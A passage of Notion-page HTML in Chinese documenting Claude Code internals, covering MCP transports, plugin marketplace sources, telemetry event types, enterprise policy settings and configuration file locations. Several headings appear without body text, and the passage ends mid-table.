00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">11.4 令牌刷新</span></span></h4><hr class="notion-hr notion-block-31d0f0c5b87c80828fa6fdb359de7a15"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c8096974be84edd48cf50" data-id="31d0f0c5b87c8096974be84edd48cf50"><span><div id="31d0f0c5b87c8096974be84edd48cf50" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8096974be84edd48cf50" title="12. MCP集成"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">12. MCP集成</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8053b446d6c62ba18c8a" data-id="31d0f0c5b87c8053b446d6c62ba18c8a"><span><div id="31d0f0c5b87c8053b446d6c62ba18c8a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8053b446d6c62ba18c8a" title="12.1 MCP 传输方式"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">12.1 MCP 传输方式</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c804b85a4d103a6d74422"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c81c6b384f3c4b007e4d9"><td class="" style="width:120px"><div class="notion-simple-table-cell">方式</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">实现类</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">适用场景</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81cca36ec017b5854a57"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Stdio</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">StdioClientTransport</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">本地进程</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8107bb54daecb5ea7365"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>SSE</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">SSEClientTransport</code></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">HTTP 服务</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80b3848becf54514540f" data-id="31d0f0c5b87c80b3848becf54514540f"><span><div id="31d0f0c5b87c80b3848becf54514540f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80b3848becf54514540f" title="12.2 MCP 服务器配置"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">12.2 MCP 服务器配置</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c808ab679c1cdd848ae9a" data-id="31d0f0c5b87c808ab679c1cdd848ae9a"><span><div id="31d0f0c5b87c808ab679c1cdd848ae9a" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c808ab679c1cdd848ae9a" title="12.3 MCP 工具调用流程"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">12.3 MCP 工具调用流程</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80b6abd7cd679de1dcf0" data-id="31d0f0c5b87c80b6abd7cd679de1dcf0"><span><div id="31d0f0c5b87c80b6abd7cd679de1dcf0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80b6abd7cd679de1dcf0" title="12.4 MCP 资源管理"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">12.4 MCP 资源管理</span></span></h4><hr class="notion-hr notion-block-31d0f0c5b87c80dfaa2dc91800be5cf7"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c80c581c2f108ad27e9a4" data-id="31d0f0c5b87c80c581c2f108ad27e9a4"><span><div id="31d0f0c5b87c80c581c2f108ad27e9a4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80c581c2f108ad27e9a4" title="13. 插件与Marketplace"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">13. 插件与Marketplace</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c809da1cfe43242472b51" data-id="31d0f0c5b87c809da1cfe43242472b51"><span><div id="31d0f0c5b87c809da1cfe43242472b51" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c809da1cfe43242472b51" title="13.1 插件来源类型"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">13.1 插件来源类型</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c80e4bf2ec62f8fb8df7a"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c8131a602c5d60e0bf606"><td class="" style="width:120px"><div class="notion-simple-table-cell">类型</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">说明</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">示例</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81e0991be9c4e3678da1"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>github</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">GitHub 仓库</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">anthropics/official-plugin</code></div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8172b92de10d6d17f384"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>git</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Git 仓库 URL</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">https://example.com/repo.git</code></div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c817c8790c3d90b3e8cb2"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>git-subdir</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Git 子目录</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell"><code class="notion-inline-code">https://example.com/repo.git#subdir</code></div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80a4b49affc8affa4157" data-id="31d0f0c5b87c80a4b49affc8affa4157"><span><div id="31d0f0c5b87c80a4b49affc8affa4157" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80a4b49affc8affa4157" title="13.2 Marketplace 配置"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">13.2 Marketplace 配置</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c807c9ad0eeb8b1c60d51" data-id="31d0f0c5b87c807c9ad0eeb8b1c60d51"><span><div id="31d0f0c5b87c807c9ad0eeb8b1c60d51" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c807c9ad0eeb8b1c60d51" title="13.3 插件清单"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">13.3 插件清单</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80fab2a7c19b3e03499b" data-id="31d0f0c5b87c80fab2a7c19b3e03499b"><span><div id="31d0f0c5b87c80fab2a7c19b3e03499b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80fab2a7c19b3e03499b" title="13.4 Skills API"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">13.4 Skills API</span></span></h4><hr class="notion-hr notion-block-31d0f0c5b87c8061a242d8c89e1ad183"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c80849ca4cde619e616be" data-id="31d0f0c5b87c80849ca4cde619e616be"><span><div id="31d0f0c5b87c80849ca4cde619e616be" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80849ca4cde619e616be" title="14. 遥测系统"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">14. 遥测系统</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c802ca3aede710475720b" data-id="31d0f0c5b87c802ca3aede710475720b"><span><div id="31d0f0c5b87c802ca3aede710475720b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c802ca3aede710475720b" title="14.1 收集的数据类型"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">14.1 收集的数据类型</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c805fa706e5618e24c0b8"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c8106b1c8eb898917c07c"><td class="" style="width:120px"><div class="notion-simple-table-cell">类别</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">事件</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">数据</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81769cb0f4b8506ef2d2"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>功能使用</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">tool_executed</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">工具名、参数、持续时间</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81779992fdcff2fa7d96"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>权限</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">permission_request</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">工具名、决策、批准类型</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81faafc5ce78b3ce6d8b"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>成本</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">cost_threshold_reached</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">成本金额、会话长度</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8139abf6e1c45b5012d1"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>错误</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">error_message</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">错误类型、堆栈</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8149aeb8fbd625d22e33"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>更新</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">update_check</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">当前版本、最新版本</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8158a66add29f384c2e2"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>环境</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">environment_detected</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">IDE、云平台、OS</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c806cb913f6b4db64648f" data-id="31d0f0c5b87c806cb913f6b4db64648f"><span><div id="31d0f0c5b87c806cb913f6b4db64648f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c806cb913f6b4db64648f" title="14.2 遥测事件结构"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">14.2 遥测事件结构</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8067b0f4d581e16abb20" data-id="31d0f0c5b87c8067b0f4d581e16abb20"><span><div id="31d0f0c5b87c8067b0f4d581e16abb20" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8067b0f4d581e16abb20" title="14.3 GrowthBook 集成"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">14.3 GrowthBook 集成</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8043aba3f5f55dfbc96d" data-id="31d0f0c5b87c8043aba3f5f55dfbc96d"><span><div id="31d0f0c5b87c8043aba3f5f55dfbc96d" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8043aba3f5f55dfbc96d" title="14.4 环境检测"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">14.4 环境检测</span></span></h4><hr class="notion-hr notion-block-31d0f0c5b87c809d9dbdea8d2d890ed2"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c806196c0f1be5654bfe1" data-id="31d0f0c5b87c806196c0f1be5654bfe1"><span><div id="31d0f0c5b87c806196c0f1be5654bfe1" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c806196c0f1be5654bfe1" title="15. 企业策略功能"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">15. 企业策略功能</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c80529df1e746c4e412f6" data-id="31d0f0c5b87c80529df1e746c4e412f6"><span><div id="31d0f0c5b87c80529df1e746c4e412f6" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80529df1e746c4e412f6" title="15.1 托管设置"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">15.1 托管设置</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c809ab7f5f620c3b8fe26" data-id="31d0f0c5b87c809ab7f5f620c3b8fe26"><span><div id="31d0f0c5b87c809ab7f5f620c3b8fe26" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c809ab7f5f620c3b8fe26" title="15.2 策略执行流程"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">15.2 策略执行流程</span></span></h4><hr class="notion-hr notion-block-31d0f0c5b87c80b29519c64b451be590"/><h3 class="notion-h notion-h2 notion-h-indent-0 notion-block-31d0f0c5b87c80438b03c7e54daf0daf" data-id="31d0f0c5b87c80438b03c7e54daf0daf"><span><div id="31d0f0c5b87c80438b03c7e54daf0daf" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c80438b03c7e54daf0daf" title="16. 配置文件系统"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">16. 配置文件系统</span></span></h3><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-31d0f0c5b87c8009a3cfe18793f29ca4" data-id="31d0f0c5b87c8009a3cfe18793f29ca4"><span><div id="31d0f0c5b87c8009a3cfe18793f29ca4" class="notion-header-anchor"></div><a class="notion-hash-link" href="#31d0f0c5b87c8009a3cfe18793f29ca4" title="16.1 配置文件位置"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">16.1 配置文件位置</span></span></h4><table class="notion-simple-table notion-block-31d0f0c5b87c80269489ee3c7beaedd7"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-31d0f0c5b87c810996c5ca1d4b0fe924"><td class="" style="width:120px"><div class="notion-simple-table-cell">作用域</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">路径</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Git</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">优先级</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81479c63f069d3fa72e2"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>System</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">/Library/Application Support/Claude Code/</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">-</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">最低</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c812cbc06e00ff1f955af"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>User</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">~/.claude/settings.json</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✓</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">低</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81de9b0dfeea64dd5194"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Project</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">.claude/settings.json</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✓</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">中</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c81049784d07daf3c3473"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Local</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">.claude/settings.json (gitignored)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">✗</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">高</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c813eb39ceda8fcfbf42d"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>Session</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">内存 (临时)</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">-</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">更高</div></td></tr><tr class="notion-simple-table-row notion-block-31d0f0c5b87c8176af2bfeda911b99c5"><td class="" style="width:120px"><div class="notion-simple-table-cell"><b>CLI</b></div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">命令行参数</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">-</div></td><td class="" 